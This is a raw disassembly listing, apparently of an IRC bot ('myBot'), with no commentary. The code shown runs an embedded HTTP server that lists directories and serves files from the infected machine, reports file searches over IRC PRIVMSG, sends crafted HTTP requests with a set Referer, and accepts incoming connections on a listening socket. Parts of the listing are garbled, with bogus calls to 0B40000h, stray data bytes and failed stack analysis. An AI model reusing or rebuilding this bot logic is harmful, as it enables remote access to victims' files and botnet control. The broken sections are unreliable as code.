push offset aTextHtml ; "text/html"
jmp short loc_40FD56
; ---------------------------------------------------------------------------
loc_40FD51: ; CODE XREF: sub_40FCEC+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_40FD56: ; CODE XREF: sub_40FCEC+63j
lea eax, [ebp+var_9C]
push eax
call sub_41BF36
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 0B40000h
pop esp
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 0B40000h
pop edx
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40FDCF
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41BF36
add esp, 24h
jmp short loc_40FDF0
; ---------------------------------------------------------------------------
loc_40FDCF: ; CODE XREF: sub_40FCEC+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41BF36
add esp, 28h
loc_40FDF0: ; CODE XREF: sub_40FCEC+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4D1240 ; send
cmp [ebp+var_A4], edi
jnz short loc_40FE30
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4107A0
pop ecx
pop ecx
jmp short loc_40FE4D
; ---------------------------------------------------------------------------
loc_40FE30: ; CODE XREF: sub_40FCEC+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41011E
add esp, 10h
loc_40FE4D: ; CODE XREF: sub_40FCEC+142j
push [ebp+var_44C]
call dword_4D1288 ; closesocket
push [ebp+var_B4]
call sub_40B32A
pop ecx
push edi
call near ptr 0B40000h
mov ah, 5Fh
pop esi
sub_40FCEC endp ; sp-analysis failed
loc_40FE6E: ; CODE XREF: sub_40F891+3C0p
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_41BC40
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40FEA4
push eax
push offset aS_5 ; "\\%s"
jmp short loc_40FEAD
; ---------------------------------------------------------------------------
loc_40FEA4: ; CODE XREF: .nsp0:0040FE9Aj
push eax
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_40FEAD: ; CODE XREF: .nsp0:0040FEA2j
lea eax, [ebp-10Ch]
push eax
call sub_41BF36
add esp, 0Ch
lea eax, [ebp-10Ch]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B890
test eax, eax
pop ecx
jbe short loc_40FF48
mov dword ptr [ebp+10h], 2
loc_40FED8: ; CODE XREF: .nsp0:0040FF46j
lea eax, [ebp-10Ch]
push eax
call sub_41B890
cmp [ebp+10h], eax
pop ecx
jnb short loc_40FF18
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_40FF18
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_40FF18
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_40FF18
inc esi
mov byte ptr [ebp+ebx-210h], 20h
inc esi
add dword ptr [ebp+10h], 2
jmp short loc_40FF32
; ---------------------------------------------------------------------------
loc_40FF18: ; CODE XREF: .nsp0:0040FEE8j
; .nsp0:0040FEF2j ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_40FF28
push 5Ch
pop eax
jmp short loc_40FF2B
; ---------------------------------------------------------------------------
loc_40FF28: ; CODE XREF: .nsp0:0040FF21j
movsx eax, al
loc_40FF2B: ; CODE XREF: .nsp0:0040FF26j
mov [ebp+ebx-210h], al
loc_40FF32: ; CODE XREF: .nsp0:0040FF16j
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_41B890
cmp esi, eax
pop ecx
jb short loc_40FED8
loc_40FF48: ; CODE XREF: .nsp0:0040FECFj
lea eax, [ebp-210h]
push eax
lea eax, [ebp-314h]
push dword ptr [ebp+0Ch]
push offset dword_4301F8
push eax
call sub_41BF36
lea eax, [ebp-314h]
push offset asc_430808 ; "\n"
push eax
call sub_41C794
add esp, 18h
lea eax, [ebp-314h]
push eax
call dword_427098 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_40FF96
cmp eax, 0FFFFFFFFh
jnz short loc_40FF99
push dword ptr [ebp+8]
jmp short loc_410015
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: .nsp0:0040FF8Aj
mov [ebp-4], esi
loc_40FF99: ; CODE XREF: .nsp0:0040FF8Fj
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_40FFA6
mov [ebp-4], esi
loc_40FFA6: ; CODE XREF: .nsp0:0040FFA1j
mov ebx, [ebp+8]
cmp [ebp-4], edi
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_410020
cmp [ebp+14h], edi
jz short loc_410014
lea eax, [ebp-314h]
push offset asc_42C1F0 ; "*"
push eax
call sub_41C560
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41BF36
lea eax, [ebp-210h]
push eax
call sub_41085D
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_41BF36
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_41006F
; ---------------------------------------------------------------------------
loc_410014: ; CODE XREF: .nsp0:0040FFBDj
push ebx
loc_410015: ; CODE XREF: .nsp0:0040FF94j
call dword_4D1288 ; closesocket
jmp loc_410117
; ---------------------------------------------------------------------------
loc_410020: ; CODE XREF: .nsp0:0040FFB8j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp-314h]
push 80000000h
push eax
call dword_4270EC ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41006F
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
loc_41004D: ; DATA XREF: .nsp0:0043FD18o
; .nsp0:0043FD2Co
call sub_41BF36
pop ecx
loc_410053: ; DATA XREF: .nsp0:00439351o
; .nsp0:00439B61o
mov [ebp-31Ch], edi
pop ecx
push edi
push esi
call near ptr 0B40000h
; ---------------------------------------------------------------------------
db 8Fh, 56h, 89h
dd 0FFFCD085h, 6C15FFFFh
db 70h, 42h, 0
; ---------------------------------------------------------------------------
loc_41006F: ; CODE XREF: .nsp0:00410012j
; .nsp0:0041003Dj
mov esi, [ebp+18h]
lea eax, [ebp-8C4h]
push esi
push offset unk_43BDA8
push eax
call sub_41BF36
push edi
lea eax, [ebp-8C4h]
push 3
push eax
call sub_40B00E
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov dword_444124[eax], esi
lea eax, [ebp-8]
push eax
lea eax, [ebp-6C4h]
push edi
push eax
push offset sub_40FCEC
push edi
push edi
call dword_42707C ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov dword_444134[ecx], eax
jz short loc_4100E9
loc_4100D7: ; CODE XREF: .nsp0:004100E7j
cmp [ebp-318h], edi
jnz short loc_410117
push 5
call dword_427064 ; Sleep
jmp short loc_4100D7
; ---------------------------------------------------------------------------
loc_4100E9: ; CODE XREF: .nsp0:004100D5j
push ebx
call dword_4D1288 ; closesocket
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_43BD70
push eax
call sub_41BF36
lea eax, [ebp-8C4h]
push eax
call sub_4157A6
add esp, 10h
loc_410117: ; CODE XREF: .nsp0:0041001Bj
; .nsp0:004100DDj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41011E proc near ; CODE XREF: .nsp0:004091BAp
; sub_40FCEC+159p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BC40
mov edi, [ebp+arg_0]
push offset asc_430808 ; "\n"
push edi
call sub_41C794
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_41017D
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C030
add esp, 14h
jmp loc_41027A
; ---------------------------------------------------------------------------
loc_41017D: ; CODE XREF: sub_41011E+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_410260
call sub_41B890
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
push edi
call sub_41B890
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 0Ch
jmp short loc_41027A
; ---------------------------------------------------------------------------
loc_410260: ; CODE XREF: sub_41011E+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 10h
loc_41027A: ; CODE XREF: sub_41011E+5Aj
; sub_41011E+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
cmp [ebp+arg_C], ebx
jz short loc_410312
push [ebp+arg_C]
call sub_41B890
cmp eax, 2
pop ecx
jbe short loc_410312
push [ebp+arg_C]
call sub_41B890
sub eax, 3
pop ecx
jz short loc_4102C6
loc_4102BA: ; CODE XREF: sub_41011E+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4102C6
dec eax
jnz short loc_4102BA
loc_4102C6: ; CODE XREF: sub_41011E+19Aj
; sub_41011E+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BCA0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
loc_410312: ; CODE XREF: sub_41011E+17Ej
; sub_41011E+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call dword_42711C ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_427000 ; FindNextFileA
test eax, eax
jz loc_410703
mov edi, 1FFh
loc_41033E: ; CODE XREF: sub_41011E+5DFj
cmp [ebp+var_388], ebx
jz loc_4106EB
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4106EB
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4106EB
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 0B40000h
push edi
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 0B40000h
inc esp
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_4103B3
mov ecx, offset aAm ; "AM"
loc_4103B3: ; CODE XREF: sub_41011E+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_4103BF
sub eax, 0Ch
loc_4103BF: ; CODE XREF: sub_41011E+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41BF36
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_41056C
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410440
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C030
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41C030
add esp, 28h
jmp loc_4106BC
; ---------------------------------------------------------------------------
loc_410440: ; CODE XREF: sub_41011E+2DBj
cmp [ebp+arg_C], ebx
jz loc_41052A
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41C030
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B890
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4104E0
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4104E5
; ---------------------------------------------------------------------------
loc_4104E0: ; CODE XREF: sub_41011E+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4104E5: ; CODE XREF: sub_41011E+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4106AD
; ---------------------------------------------------------------------------
loc_41052A: ; CODE XREF: sub_41011E+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C030
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_410557: ; CODE XREF: sub_41011E+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C030
add esp, 24h
jmp loc_4106BC
; ---------------------------------------------------------------------------
loc_41056C: ; CODE XREF: sub_41011E+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410596
push ebx
push [ebp+var_368]
call sub_416F2B
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_410557
; ---------------------------------------------------------------------------
loc_410596: ; CODE XREF: sub_41011E+454j
cmp [ebp+arg_C], ebx
jz loc_410696
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_4301F8
push edi
push eax
call sub_41C030
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B890
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410636
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_41063B
; ---------------------------------------------------------------------------
loc_410636: ; CODE XREF: sub_41011E+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_41063B: ; CODE XREF: sub_41011E+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C030
add esp, 1Ch
jmp short loc_4106BC
; ---------------------------------------------------------------------------
loc_410696: ; CODE XREF: sub_41011E+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_4106AD: ; CODE XREF: sub_41011E+407j
lea eax, [ebp+var_248]
push eax
call sub_41C030
add esp, 18h
loc_4106BC: ; CODE XREF: sub_41011E+31Dj
; sub_41011E+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
cmp [ebp+arg_8], ebx
jz short loc_4106EB
push 7D0h
call dword_427064 ; Sleep
loc_4106EB: ; CODE XREF: sub_41011E+226j
; sub_41011E+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_427000 ; FindNextFileA
test eax, eax
jnz loc_41033E
loc_410703: ; CODE XREF: sub_41011E+215j
push [ebp+arg_0]
call near ptr 0B40000h
cmp gs:[ebp+10h], ebx
jz short loc_410746
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416F2B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416F2B
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41BF36
add esp, 14h
jmp short loc_41077A
; ---------------------------------------------------------------------------
loc_410746: ; CODE XREF: sub_41011E+5F1j
cmp [ebp+arg_C], ebx
jz short loc_410760
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41BF36
pop ecx
pop ecx
jmp short loc_41077A
; ---------------------------------------------------------------------------
loc_410760: ; CODE XREF: sub_41011E+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41BF36
add esp, 10h
loc_41077A: ; CODE XREF: sub_41011E+626j
; sub_41011E+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41011E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107A0 proc near ; CODE XREF: sub_40FCEC+13Bp
var_4037C = byte ptr -4037Ch
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4270EC ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410858
push esi
push ebx
call near ptr 0B40000h
cmp al, 3Bh
mov byte ptr [ecx+6C740C45h], 68h ; CODE XREF: sub_4107A0+AFj
add [eax+eax], al
add [ebp-4037Bh], cl
call dword ptr [esi+50h]
call sub_41BC40
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410802
mov edi, [ebp+arg_4]
loc_410802: ; CODE XREF: sub_4107A0+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_427120 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4270E8 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41084C
call dword_4D1184 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410851
xor eax, eax
loc_41084C: ; CODE XREF: sub_4107A0+9Bj
sub [ebp+arg_4], eax
jnz short near ptr loc_4107DF+6
loc_410851: ; CODE XREF: sub_4107A0+A8j
push ebx
call dword_42706C ; CloseHandle
loc_410858: ; CODE XREF: sub_4107A0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4107A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41085D proc near ; CODE XREF: .nsp0:0040FFEAp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B890
test eax, eax
pop ecx
jbe short loc_410886
loc_410870: ; CODE XREF: sub_41085D+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_41087A
mov byte ptr [esi+edi], 2Fh
loc_41087A: ; CODE XREF: sub_41085D+17j
push edi
inc esi
call sub_41B890
cmp esi, eax
pop ecx
jb short loc_410870
loc_410886: ; CODE XREF: sub_41085D+11j
mov eax, edi
pop edi
pop esi
retn
sub_41085D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41088B proc near ; CODE XREF: .nsp0:00406CEBp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4D1160 ; WSAStartup
push 6
push 1
push 2
call dword_4D1270 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4D11F0 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AA54
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410968
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410904
mov eax, offset byte_443398
loc_410904: ; CODE XREF: sub_41088B+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C030
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4D1240 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4D1208 ; recv
pop esi
loc_410968: ; CODE XREF: sub_41088B+6Bj
push ebx
call dword_4D1288 ; closesocket
call dword_4D1148 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41BF36
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4109A8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_4109A8: ; CODE XREF: sub_41088B+102j
pop edi
pop ebx
leave
retn
sub_41088B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109AC proc near ; DATA XREF: .nsp0:00407B95o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4D11F0 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4D1270 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410B18
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_44412C[ecx], eax
call dword_4D1100 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4D121C ; bind
test eax, eax
jnz loc_410B18
push 0Ah
push [ebp+arg_0]
call dword_4D1218 ; listen
test eax, eax
jnz loc_410B18
loc_410A5C: ; CODE XREF: sub_4109AC+C6j
; sub_4109AC+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4D1284 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410A5C
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_43C2BC
push eax
call sub_41BF36
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B00E
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_444124[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410B3D
push esi
push esi
call dword_42707C ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_444134[ecx], eax
jz short loc_410B03
loc_410AF0: ; CODE XREF: sub_4109AC+155j
